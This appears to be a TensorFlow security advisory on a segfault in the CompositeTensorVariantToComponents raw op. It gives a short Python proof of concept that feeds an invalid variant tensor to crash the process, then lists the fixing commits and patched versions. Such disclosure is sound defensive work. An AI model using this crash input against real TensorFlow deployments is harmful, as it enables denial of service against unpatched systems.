Segfault in `CompositeTensorVariantToComponents`

Impact

An input encoded that is not a valid CompositeTensorVariant tensor will trigger a segfault in [tf.raw_ops.CompositeTensorVariantToComponents](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/lib/core/py_func.cc).

```python

import tensorflow as tf

encode = tf.raw_ops.EmptyTensorList(element_dtype=tf.int32, element_shape=[10, 15], max_num_elements=2)

meta= ""

component=[tf.int32]

print(tf.raw_ops.CompositeTensorVariantToComponents(encoded=encode,metadata=meta,Tcomponents=component))

`

Patches

We have patched the issue in GitHub commits [bf594d08d377dc6a3354d9fdb494b32d45f91971](https://github.com/tensorflow/tensorflow/commit/bf594d08d377dc6a3354d9fdb494b32d45f91971) and [660ce5a89eb6766834bdc303d2ab3902aef99d3d](https://github.com/tensorflow/tensorflow/commit/660ce5a89eb6766834bdc303d2ab3902aef99d3d).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by pattarakritr@smu.edu.sg